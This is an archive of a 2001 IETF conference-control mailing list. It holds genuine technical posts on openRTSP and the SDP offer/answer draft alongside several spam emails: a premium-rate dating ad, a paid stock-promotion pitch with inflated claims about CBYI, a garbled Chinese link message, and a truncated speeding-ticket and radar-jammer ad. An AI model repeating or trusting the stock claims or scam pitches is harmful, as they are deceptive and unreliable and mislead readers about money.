
Regards

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se




From confctrl-owner  Fri Oct 26 10:31:43 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id KAA25215
	for confctrl-outgoing; Fri, 26 Oct 2001 10:31:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA25205
	for <confctrl@zephyr.isi.edu>; Fri, 26 Oct 2001 10:31:41 -0700 (PDT)
Received: from ns.live.com (ns.live.com [66.80.62.34])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9QHW7g10860
	for <confctrl@isi.edu>; Fri, 26 Oct 2001 10:32:07 -0700 (PDT)
Received: (from rsf@localhost)
	by ns.live.com (8.9.3/8.9.3) id KAA16251;
	Fri, 26 Oct 2001 10:32:01 -0700 (PDT)
	(envelope-from rsf)
Message-Id: <4.3.1.1.20011026101738.00c9e100@localhost>
X-Sender: rsf@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Fri, 26 Oct 2001 10:30:49 -0700
To: confctrl@ISI.EDU, avt@ietf.org
From: Ross Finlayson <finlayson@live.com>
Subject: A new RTSP client application: "openRTSP"
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FYI, I have recently developed a RTSP client application - called 
"openRTSP" - that lets you open, stream, receive, and (optionally) record 
media sessions that are specified by a "rtsp://" URL.

The program work by first issuing a RTSP "DESCRIBE" command to retrieve the 
session's SDP description, and then, for each audio/video subsession whose 
RTP payload format it understands, "SETUP" and "PLAY" the 
subsession.  Incoming stream data can be recorded into files, written to 
'stdout', or recorded as tracks in a QuickTime movie file.

This software is Open Source (LGPL), and is documented at
	<http://www.live.com/openRTSP/>

     Ross.

ps. Many thanks to HorizonLive, Plustream, and Multicast Technologies for 
contributing funding towards the development of this software.


From confctrl-owner  Fri Oct 26 13:10:22 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA22263
	for confctrl-outgoing; Fri, 26 Oct 2001 13:10:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA22251
	for <confctrl@zephyr.isi.edu>; Fri, 26 Oct 2001 13:10:21 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9QKAkg28231
	for <confctrl@ISI.EDU>; Fri, 26 Oct 2001 13:10:46 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f9QK9lO05734;
	Fri, 26 Oct 2001 16:09:48 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAC65513 (AUTH pkyzivat);
	Fri, 26 Oct 2001 16:11:56 -0400 (EDT)
Message-ID: <3BD9C2BA.4D00BAE6@cisco.com>
Date: Fri, 26 Oct 2001 16:08:26 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: confctrl@ISI.EDU
Subject: draft-rosenberg-mmusic-sdp-offer-answer-00
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan,

It is good to see this material factored out of the sip rfc.

I have a few comments after an initial skimming:

1) An issue came up in discussions of the comedia draft regarding
semantics of modifying a session. The latest comedia draft has a
solution for it, but it seems a more general problem and perhaps it
deserves a general solution here.

The problem is that some media streams may require initialization before
first use. When a session description is modified, there then arises the
question of whether a particular media stream requires
re-initialization. (For instance, when negotiating a TCP session with
comedia, a connection must be established between the two endpoints.) 

- If an entire session description is unchanged, as determined by the o=
line, then it can be assumed that nothing has changed and
reinitialization is not required.

- If the o= line is changed, then it may be assumed that individual
media sections that have changed require re-initialization. But there
remains the issue of media sections that have not changed. Since
modification of a single media section requires a complete description
of all media to be sent, it follows that any unchanged media sections
will seem to be unchanged. Presumably these should not be reinitialized.

- However, there are cases when it may be important to request
reinitialization without changing any of the information in a media
section. For instance, if one participant has difficulty sending but not
receiving, it may believe the other participant is having difficulty,
and wish to send a reinvite to force reinitialization. But it may
wish/need to use the same information in its own offer. In this case,
the other participant will not be able to distinguish that this is a
request to reinitialize rather than a no-op modification.

One possible solution to this problem is to permit the use of the o=
line within individual media descriptions as well as globally. When used
within a an individual media description, this would have the same
semantics as globally, but would apply only to the one media
description. To initiate a reinitialization, one could send a new
description with only the o= line for the medium in question changed. Of
course this is a change to SDP. But it seems preferable to one-off
solutions to this for different media.

2) A nit in section 2.1. It starts off with: "The offer MUST contain
zero or more media sections." This is a pretty rough condition to
conform to. It might be said more directly as something like: "The offer
MAY contain one or more media sections. An offer with no media sessions
implies..."

3) Section 2.1 is also heavily biased towards RTP based media
descriptions containing payload type descriptions. The descriptions of
how to process and interpret payload types and codecs really should be
qualified so it is clear they apply only to the RTP transport. For
instance, a=rtpmap is only appropriate for RTP transport.

4) Section 2.1 also discusses the semantics of multiple media streams of
the same type, and says that the same source should be sent to each of
these streams. This seems quite restrictive, and covers semantics that
are the subject of the FID semantics in draft-ietf-mmusic-fid-05. In the
absence of the notation from that draft, it seems wrong to assume that
the different media streams will contain the same content.

	Paul Kyzivat
	Cisco Systems

From confctrl-owner  Sat Oct 27 21:54:41 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA14947
	for confctrl-outgoing; Sat, 27 Oct 2001 21:54:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA14936
	for <confctrl@zephyr.isi.edu>; Sat, 27 Oct 2001 21:54:39 -0700 (PDT)
Received: from internet.amp.pt ([194.65.67.130])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9S4t4g24501;
	Sat, 27 Oct 2001 21:55:04 -0700 (PDT)
Received: from smtp.china.com=1 (slip-12-64-126-168.mis.prserv.net [12.64.126.168]) by internet.amp.pt with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id VP4QPKC2; Sun, 28 Oct 2001 04:46:27 -0000
Message-ID: <00001a1278f8$00004292$00005330@freemail.sohu.com>
To: <conferences@gdse.com>, <conferences@era.co.uk>,
        <Conf-east@mail.uflib.ufl.edu>, <conference@trebach.org>,
        <conference.mkty@saunalahti.fi>, <confctrl-request@ISI.EDU>,
        <conf_2001@yahoo.com.hk>, <CONF2000@INPRISE.COM>,
        <conference@wolfram.com>, <conference@globalhealth.org>,
        <conference2001@marssociety.org>, <conferenceinfo@outreach.psu.edu>,
        <conference@cbuauto.com>, <Confederrow2@yahoonet.ch>,
        <conference@lyris.techmesa.com>, <conejita@EARTHLINK.NET>,
        <conference@secularstudents.org>, <conference@ldssupport.org>,
        <CONFERENCE-ANNOUNCEMENT@HERMES.CASE.ORG>, <conferences@cs.utk.edu>,
        <conference@nliec.org>, <conference@iodmail.com>, <conf@aace.org>,
        <coneill@oneill.net>, <confed1861@n-link.com>, <conens@zwallet.com>,
        <conferences@aiga.org>, <conference@ext.usu.edu>,
        <conf@gw.n5vda.ampr.org>, <conexcol@conexcol.com>, <conf@educom.edu>
Cc: <confederate15205@yahoo.com>, <conf@fiz-karlsruhe.de>,
        <coneyinfo@coneyisland.brooklyn.ny.us>,
        <conferencegroup@compuserve.com>, <conference-info@thestandard.com>,
        <confburo@esa.int>, <conference@holyspirit.8m.com>,
        <conference.secr@uiah.fi>, <Conf-west@mail.uflib.ufl.edu>,
        <conejgyyfyvd@rrxkxqmvtxqk.pl>, <conference@now.org>,
        <confer@math.berkeley.edu>, <conet@COLOMBUS.CU>, <confctrl@ISI.EDU>,
        <Conferences@ea-ohp.org>, <conference@focus-one.com>,
        <conference@autism-society.org>, <conference@mhsource.com>,
        <CONF2001@INPRISE.COM>, <conferences@iao.fhg.de>,
        <conferences-mail@iao.fhg.de>, <conference@twinoaks.org>,
        <conference@SOL-SEMS.COM>, <conferences@arborday.org>,
        <conejojv1@aol.com>, <conferences@fawcette.com>, <conference@nylc.org>,
        <conference@cof.orst.edu>, <CONFERENCE@LISTS.MSTAR.NET>,
        <conf@helicon.net>, <conf@astro.franko.lviv.ua>,
        <conferences@carilec.org>
From: berry192@taiwan.com
Subject: life is wonderful today!30108
Date: Sun, 28 Oct 2001 01:03:06 -1700
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>

<head>
<meta http-equiv=3D"Content-Language" content=3D"en-us">
<meta name=3D"GENERATOR" content=3D"Microsoft FrontPage 5.0">
<meta name=3D"ProgId" content=3D"FrontPage.Editor.Document">
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dwindows-=
1252">
<title>LIFE IS PRECIOUS&nbsp; There Are Thousands of Others</title>
</head>

<body>

<p><br>
<b><font size=3D"5">LIFE IS PRECIOUS</font></b><br>
<br>
<font color=3D"#008080"><b><font size=3D"5">There Are Thousands of Others,=
 JUST LIKE 
YOU, Looking To:<br>
o Meet new people the fun way in your local area.<br>
o Set up a local exiting date by this weekend.<br>
o Find a meaningful relationship or friendship.<br>
DO NOT BE SELFISH!<br>
SHARE YOUR TIME WITH AN AWESOME SOLE MATE<br>
FIND That Special One, IN ANY LOCATION, CITY OR TOWN<br>
Fast Easy Today</font></b><br>
</font><br>
<font size=3D"4" color=3D"#FF00FF">DON'T WASTE THIS OPPORTUNITY TO MEET YO=
UR PERFECT 
COMPANION!<br>
CALL NOW<br>
(Thousands in your local area)</font><br>
<br>
<b><font size=3D"4">Men seeking Women 1-900-370-3301 Ext 1845<br>
Women seeking Men 1-900-370-3301 Ext 1846<br>
Men Seeking Men 1-900-370-3301 Ext 1847<br>
Women seeking Women 1-900-370-3301 Ext 1848<br>
$2.99 per min.<br>
Must be 18yrs.<br>
Serv-u (415) 273-6097
to be removed; reply to this e-mail</font></b><br>
<br>
&nbsp;</p>

</body>

</html>




From confctrl-owner  Mon Oct 29 01:22:52 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA17633
	for confctrl-outgoing; Mon, 29 Oct 2001 01:22:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA17628
	for <confctrl@zephyr.isi.edu>; Mon, 29 Oct 2001 01:22:51 -0800 (PST)
Received: from ns1.yelhkg.com (IDENT:root@ns1.yelhkg.com [203.198.153.250])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9T9NHg28617
	for <confctrl@isi.edu>; Mon, 29 Oct 2001 01:23:17 -0800 (PST)
Received: from html ([209.61.184.110])
	by ns1.yelhkg.com (8.9.3/8.8.7) with SMTP id RAA25768;
	Mon, 29 Oct 2001 17:22:57 +0800
Message-Id: <200110290922.RAA25768@ns1.yelhkg.com>
From: John <comingattractions4252@imailbox.com>
To: confdesk@1stconf.co.uk
Subject: Fwd: 6 months free  
Date: Mon, 29 Oct 2001 03:25:18
Mime-Version: 1.0
Content-Type: text/html; charset="DEFAULT_CHARSET"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML>

<head>
<title>Advisors Say Buy!</title>


<body bgcolor="#ffffff" text="#000000" link="#cc9900" vlink="#0000FF" alink="#000000">

<div align="center">

<TABLE cellSpacing=5 cellPadding=0 width="100%" bordercolor="F2F2E6 " border="6" bordercolordark="F2F2E6 " bordercolorlight="F2F2E6 " cellspacing="0" border=0><TBODY>

<tr>
<td bgcolor="#003366" valign="top">
<p><div align="center"><b><font color="#ffffff" face="Arial Rounded MT Bold" size="6">
ADVISORS  BUY  RECOMMENDATION!</i></font></b></p>
<p><b><font face="Rockwell" size="4" color="#ffffff">
For Cal-Bay (Symbol: CBYI)</font><font color="#ffffff" size="4">
</font></font></font></b></div></td></tr>
<br>
<tr><td bgcolor="#FFFFFF" valign="top">
<br><p><b><font face="arial" size="3">
</font>
<font face="verdana, Arial" size="2">
A REGISTERED INVESTMENT ADVISOR, just released an investment opinion RECOMMENDING Cal-Bay (CBYI):</b>
<br>...as a Speculative Long-Term BUY.</li>
<br>...will hit a price target of $2.00 by 2002 and $5.00 by 2003!</li>
<br>...achieve earnings growth of 200 to 250% in the next 2 years.</li>
<br>...achieve earnings of approximately 2.5&cent; per share by 2003.</li></p>

<p>
<b>QUOTES FROM THE INVESTMENT ADVISORS:</b>
<li>"A positive long-term investment opportunity exists with CBYI."</li>
<li>"We anticipate that liquidity will increase as well as coverage by additional analysts."</li>
<li>"The company has developed a network of strategic alliances that are designed to assist the company in obtaining a DOMINANT MARKET SHARE."</li>
<li>The current market in which Cal-Bay operates is currently estimated to exceed
$900 million.  Estimates calling for $25 Billion in sales by the year 2003."</li>
<li>"We expect the company to achieve it's current goal of Nasdaq OTCBB listing by the 4th
quarter of 2001.  Once on the larger exchange, we anticipate that liquidity will increase."</li>
<li>"We anticipate earnings will grow at a more rapid pace than revenues as a result of
expanding net margins as well as the reduction of certain overhead costs that can be eliminated
as a result of the expected acquisitions."</li>
<br><b><A href="http://quote.morningstar.com/Quote.html?TimeFrame=Y*&ExchangeId=&ticker=CBYI">
<u>Click for QUOTE & Buy recommendation</u></A></b></p>
<p>
<b>OTHER REASONS TO OWN THE STOCK:</b>
<li>CBYI IS GROWING AT A RAPID RATE.   EARNINGS PER SHARE IS INCREASING!</li>
<li>CBYI is one of the FASTEST growing companies in distributing environmental and safety equipment instruments.</li>
<li>CBYI is a profitable company, has NO DEBT and is on track to beat ALL earnings estimates.</li>
<li>CBYI has increased revenue of 50% annually!</li>
<li>CBYI is a fully reporting SEC compliant company that has been in business since 1976.</li>
<li>CBYI has an excellent management team with several EXCLUSIVE contracts and an
IMPRESSIVE client list including: Anheuser-Busch, Chevron Refining, Mitsubishi Heavy
Industries, GE-Energy & Environmental Research and the U.S. Air Force.</li>
</li>
<br><b><A href="http://quote.morningstar.com/Quote.html?TimeFrame=Y*&ExchangeId=&ticker=CBYI">
<u>Click for QUOTE & Buy recommendation</u></A></b></p>
<p>
<b>RAPIDLY GROWING INDUSTRY.</b>
<br>
Hold on tight for the largest Oil and Natural Gas expansion in U.S. History.  Demand for Energy is at its
highest level putting tremendous pressure on Scientific & Technical Instrumentation companies like CBYI.
There is rapid expansion in the energy industry with the need for more power plants and cheaper fuel.
CBYI is a major benefactor of this growing need because it supplies specialized "Smell Technology" analyzers
for industrial applications in Natural Gas production and transmission.</p>
<p>
<P><B>RECOMMENDATIONS!</B> <BR>Our last 2 recommendations rallied, OTMN 
      &amp; NXLC and are now up over 117% from the price we recommended in our August newsletters! Congratulations to all our 
      subscribers that took advantage of these recommendations. 
<p>
<p>
<font face="verdana, Arial" size="2"><b>
<a href="mailto:SubmitRemoval1883@yahoo.com">Unsubscribe HERE</a></b>
<b></b>
</font>
</td></tr>
</table>
</div>
</body>
<p>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
</p>
<p><font size="2">
Certain statements contained
            in this news release may be forward-looking statements within the
            meaning of&nbsp; The Private Securities Litigation Reform Act of
            1995. These statements may be identified by such terms as "expect",
            "believe", "may", "will", and "intend" or similar terms. We are NOT
            a registered investment advisor or a broker dealer. This is NOT an
            offer to buy or sell securities. No recommendation that the
            securities of the companies profiled should be purchased, sold or
            held by individuals or entities that learn of the profiled
            companies. This is an independent electronic publication that was
            paid $27,000 in cash by a non-affiliated, third party consultant
            for the electronic dissemination of this company information. Be advised that
            investments in companies profiled are considered to be high-risk and
            use of the information provided is for reading purposes only. If
            anyone decides to act as an investor they are advised not to invest
            without the proper advisement from an attorney or a registered
            financial broker, if any party decides to participate as an investor
            then it will be that investor's sole risk. Be advised that the
            purchase of such high-risk securities may result in the loss of some
            or all of the investment. The profiled companies
            make no warranties or guarantees as to the accuracy or the
            completeness of the disclosure. Investors should not rely solely on
            the information presented. Rather, investors should use the
            information provided by the profiled companies as a starting point
            for doing additional independent research on the profiled companies
            in order to allow the investor to form his or her own opinion and decision
            regarding investing in the profiled companies. Factual statements
            made by the profiled companies are made as of the date stated and
            are subject to change without notice. The receipt of this
            information shall not create, under any circumstances, any
            implication that there has been no change in the affairs of the
            company profiled since the date of review. Investing in micro-cap
            securities is highly speculative and carries an extremely high
            degree of risk and uncertainties. For further details concerning these
            risks and uncertainties, see the SEC filings of CBYI including the company's
            most recent annual and quarterly reports.  It is possible that an investor's
            entire investment may be lost or impaired due to the speculative nature of the
            companies profiled. The owners of this publication may already own free trading
            shares in CBYI and may immediately sell all or a portion of these shares into the
            open market at or about the time this report is published.  Subsequently we may
                        from time to time buy or sell shares of CBYI in the open market.
            All information provided on the profiled companies may include information provided by outside sources, such
            as research reports, public filings, web sites or computer databases. Copyright © 2001

                        </font></p>
</BODY>
</html>



From confctrl-owner  Mon Oct 29 08:45:34 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA04182
	for confctrl-outgoing; Mon, 29 Oct 2001 08:45:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA04172
	for <confctrl@zephyr.isi.edu>; Mon, 29 Oct 2001 08:45:32 -0800 (PST)
Received: from ms4.hinet.net (root@ms4.hinet.net [168.95.4.40])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9TGjug06116;
	Mon, 29 Oct 2001 08:45:56 -0800 (PST)
Received: from ms4.hinet.net (61-216-48-75.HINET-IP.hinet.net [61.216.48.75])
	by ms4.hinet.net (8.8.8/8.8.8) with SMTP id AAA23836;
	Tue, 30 Oct 2001 00:45:26 +0800 (CST)
From: 47342200@02443.com
Date: Tue, 30 Oct 01 00:23:17 EST
To: Friend@public.com
Subject: fffffffff  ¦^«H  ffffffff
Message-ID: <>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

fffffffffffffffffffffff

¦^«H: ¤ý¤p©j±z¦n!!

ÁÂÁ±zªº¨Ó«H!!
 
«H¤¤©Ò´£¦³Ãö¨Æ©y. Åwªï±zª½±µ¶i¤Jºô¯¸¶ñªí¬d¸ß.  ÁÂÁÂ!!

http://www.taconet.com.tw/e1968828/mail/

­YµLªkÂsÄýºô­¶½Ð«ö­«·s¾ã²z§Y¥i!!

«ÈªA¤¤¤ß·q¤W.


ffffffffffffffffffffffffffff


From confctrl-owner  Tue Oct 30 10:40:22 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA05515
	for confctrl-outgoing; Tue, 30 Oct 2001 10:40:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA05510
	for <confctrl@zephyr.isi.edu>; Tue, 30 Oct 2001 10:40:21 -0800 (PST)
Received: from 01it.com ([202.104.88.251])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f9UIelg08461
	for <confctrl@isi.edu>; Tue, 30 Oct 2001 10:40:47 -0800 (PST)
Received: (qmail 23054 invoked from network); 25 Oct 2001 05:58:37 -0000
Received: from slip-12-64-186-32.mis.prserv.net (HELO smtp.eyou.com=1) (12.64.186.32)
  by 202.104.88.251 with SMTP; 25 Oct 2001 05:58:37 -0000
Message-ID: <0000452d1514$0000501b$00001722@bjmx.163.net=1>
To: <Undisclosed.Recipients@ISI.EDU>
From: bevan20@163.net
Subject: speeding31718
Date: Thu, 25 Oct 2001 02:02:53 -1600
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office"
xmlns:w=3D"urn:schemas-microsoft-com:office:word"
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; charset=3Dwindows-12=
52">
<meta name=3DProgId content=3DFrontPage.Editor.Document>
<meta name=3DGenerator content=3D"Microsoft FrontPage 4.0">
<meta name=3DOriginator content=3D"Microsoft Word 9">
<link rel=3DFile-List href=3D"./$WPM7811_files/filelist.xml">
<title>  You Can Beat Any Speeding Ticket and Win</title>
<!--[if gte mso 9]><xml>
 <o:DocumentProperties>
  <o:Author>jav</o:Author>
  <o:Template>Normal</o:Template>
  <o:LastAuthor>Mostafa</o:LastAuthor>
  <o:Revision>2</o:Revision>
  <o:TotalTime>271</o:TotalTime>
  <o:Created>2001-10-17T17:04:00Z</o:Created>
  <o:LastSaved>2001-10-17T17:04:00Z</o:LastSaved>
  <o:Pages>2</o:Pages>
  <o:Words>274</o:Words>
  <o:Characters>1563</o:Characters>
  <o:Company>E-Source.Corp</o:Company>
  <o:Lines>13</o:Lines>
  <o:Paragraphs>3</o:Paragraphs>
  <o:CharactersWithSpaces>1919</o:CharactersWithSpaces>
  <o:Version>9.2720</o:Version>
 </o:DocumentProperties>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
@font-face
	{font-family:Wingdings;
	panose-1:5 0 0 0 0 0 0 0 0 0;
	mso-font-charset:2;
	mso-generic-font-family:auto;
	mso-font-pitch:variable;
	mso-font-signature:0 268435456 0 0 -2147483648 0;}
 /* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";
	mso-ansi-language:EN-US;}
h1
	{mso-style-next:Normal;
	margin:0cm;
	margin-bottom:.0001pt;
	text-align:center;
	mso-pagination:widow-orphan;
	page-break-after:avoid;
	mso-outline-level:1;
	font-size:24.0pt;
	mso-bidi-font-size:12.0pt;
	font-family:"Times New Roman";
	color:red;
	mso-font-kerning:0pt;
	mso-ansi-language:EN-US;}
h2
	{mso-style-next:Normal;
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	page-break-after:avoid;
	mso-outline-level:2;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-ansi-language:EN-US;
	font-weight:normal;
	text-decoration:underline;
	text-underline:single;}
h3
	{mso-style-next:Normal;
	margin:0cm;
	margin-bottom:.0001pt;
	text-align:center;
	mso-pagination:widow-orphan;
	page-break-after:avoid;
	mso-outline-level:3;
	font-size:18.0pt;
	mso-bidi-font-size:13.5pt;
	font-family:"Times New Roman";
	mso-ansi-language:EN-US;
	font-weight:normal;}
h4
	{mso-style-next:Normal;
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	page-break-after:avoid;
	mso-outline-level:4;
	font-size:12.0pt;
	font-family:"Times New Roman";
	color:black;
	mso-ansi-language:EN-US;}
p.MsoBodyText, li.MsoBodyText, div.MsoBodyText
	{margin:0cm;
	margin-bottom:.0001pt;
	text-align:center;
	mso-pagination:widow-orphan;
	font-size:18.0pt;
	mso-bidi-font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";
	mso-ansi-language:EN-US;
	font-weight:bold;}
p.MsoBodyText2, li.MsoBodyText2, div.MsoBodyText2
	{margin:0cm;
	margin-bottom:.0001pt;
	text-align:center;
	mso-pagination:widow-orphan;
	font-size:20.0pt;
	mso-bidi-font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";
	mso-ansi-language:EN-US;
	font-weight:bold;}
@page Section1
	{size:612.0pt 792.0pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;
	mso-header-margin:36.0pt;
	mso-footer-margin:36.0pt;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
 /* List Definitions */
@list l0
	{mso-list-id:670331948;
	mso-list-type:hybrid;
	mso-list-template-ids:35563862 67698689 67698691 67698693 67698689 676986=
91 67698693 67698689 67698691 67698693;}
@list l0:level1
	{mso-level-number-format:bullet;
	mso-level-text:\F0B7;
	mso-level-tab-stop:36.0pt;
	mso-level-number-position:left;
	text-indent:-18.0pt;
	font-family:Symbol;}
ol
	{margin-bottom:0cm;}
ul
	{margin-bottom:0cm;}
-->
</style>
</head>

<body lang=3DEN-CA style=3D'tab-interval:36.0pt'>

<p>&nbsp;</p>
<div align=3D"center">
  <center>
  <table border=3D"0" width=3D"100%" cellspacing=3D"0" cellpadding=3D"0">
    <tr>
      <td width=3D"14%"></td>
      <td width=3D"86%"><b><font face=3D"Times New Roman" size=3D"5">You C=
an Beat Any Speeding Ticket and Win!&nbsp;<br>
  How You Can Avoid Them!<br>
  How You Can Beat Them!</font></b></td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2"><font face=3D"Times New Roman" size=
=3D"4"><b>&nbsp;&nbsp;</b></font></td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">
        <p align=3D"center"><b><font face=3D"Times New Roman" size=3D"6" c=
olor=3D"#FF0000">
        <marquee scrollamount=3D"10" behavior=3D"alternate">Never Get Caug=
ht
        Speeding Again!</marquee>
        </font></b></td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">&nbsp;&nbsp;&nbsp;</td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">
        <p align=3D"center"><b><u><em><font face=3D"Times New Roman" size=3D=
"6" color=3D"#007700">New for 2002!  New for 2002!  New for 2002!</font></=
em></u></b></td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">&nbsp;</td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">
        <ul type=3D"circle">
          <li><b><font face=3D"Times New Roman" size=3D"5">        You Lea=
rn Many Ways To Speed without Being Caught!</font></b></li>
          <li><b><font face=3D"Times New Roman" size=3D"5">You Learn How T=
o Beat Tickets Issued by RADAR,
            LASER!</font></b></li>
          <li><b><font face=3D"Times New Roman" size=3D"5">VASCAR, Aircraf=
t, or any method used today by Police!</font></b></li>
          <li><b><font face=3D"Times New Roman" size=3D"5">You Learn All A=
bout RADAR and LASER Detectors!</font></b></li>
          <li><b><font face=3D"Times New Roman" size=3D"5">You Learn All A=
bout RADAR and LASER JAMMERS!</font></b></li>
          <li><b><font face=3D"Times New Roman" size=3D"5">You Learn How t=
o Win In Court With NO ATTORNEY!</font></b></li>
        </ul>
      </td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">&nbsp;</td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">
        <p align=3D"center"><b><font face=3D"Times New Roman" size=3D"5">I=
t costs you nothing to fight a ticket in court and
        <font color=3D"#FF0000">WIN</font>;&nbsp;</font></b></td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">
        <p align=3D"center"><b><font face=3D"Times New Roman" size=3D"5"> =
You Can and will if you know What to SAY and DO!</font></b></td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">&nbsp;</td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">
        <p align=3D"center"><font face=3D"Times New Roman" size=3D"5"><fon=
t color=3D"#FF0000">Top Secret Trick</font> to Make Your License Plate Inv=
isible to the New LASER RADAR Units! It Works and is LEGAL!</font></td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">&nbsp;</td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2" align=3D"center"><font face=3D"Time=
s New Roman" size=3D"5"><b>Receive our awesome book PLUS an additional Flo=
ppy Disk containing the latest info &amp; Updates for 2002</b></font></td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">&nbsp;</td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2" align=3D"center"><font face=3D"Time=
s New Roman" size=3D"5"><b>$14.80 will save you thousands and maybe your
        <font color=3D"#FF0000"> JOB</font></b></font></td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">
        <p align=3D"center"><font face=3D"Times New Roman" size=3D"5"><b>(=
Print this form Now)</b></font></p>
        <p align=3D"center">&nbsp;</td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">
        <p align=3D"center"><b><font face=3D"Times New Roman" size=3D"5">T=
o print this
        form, click File, Print</font></b></td>
    </tr>
    <tr>
      <td width=3D"100%" colspan=3D"2">

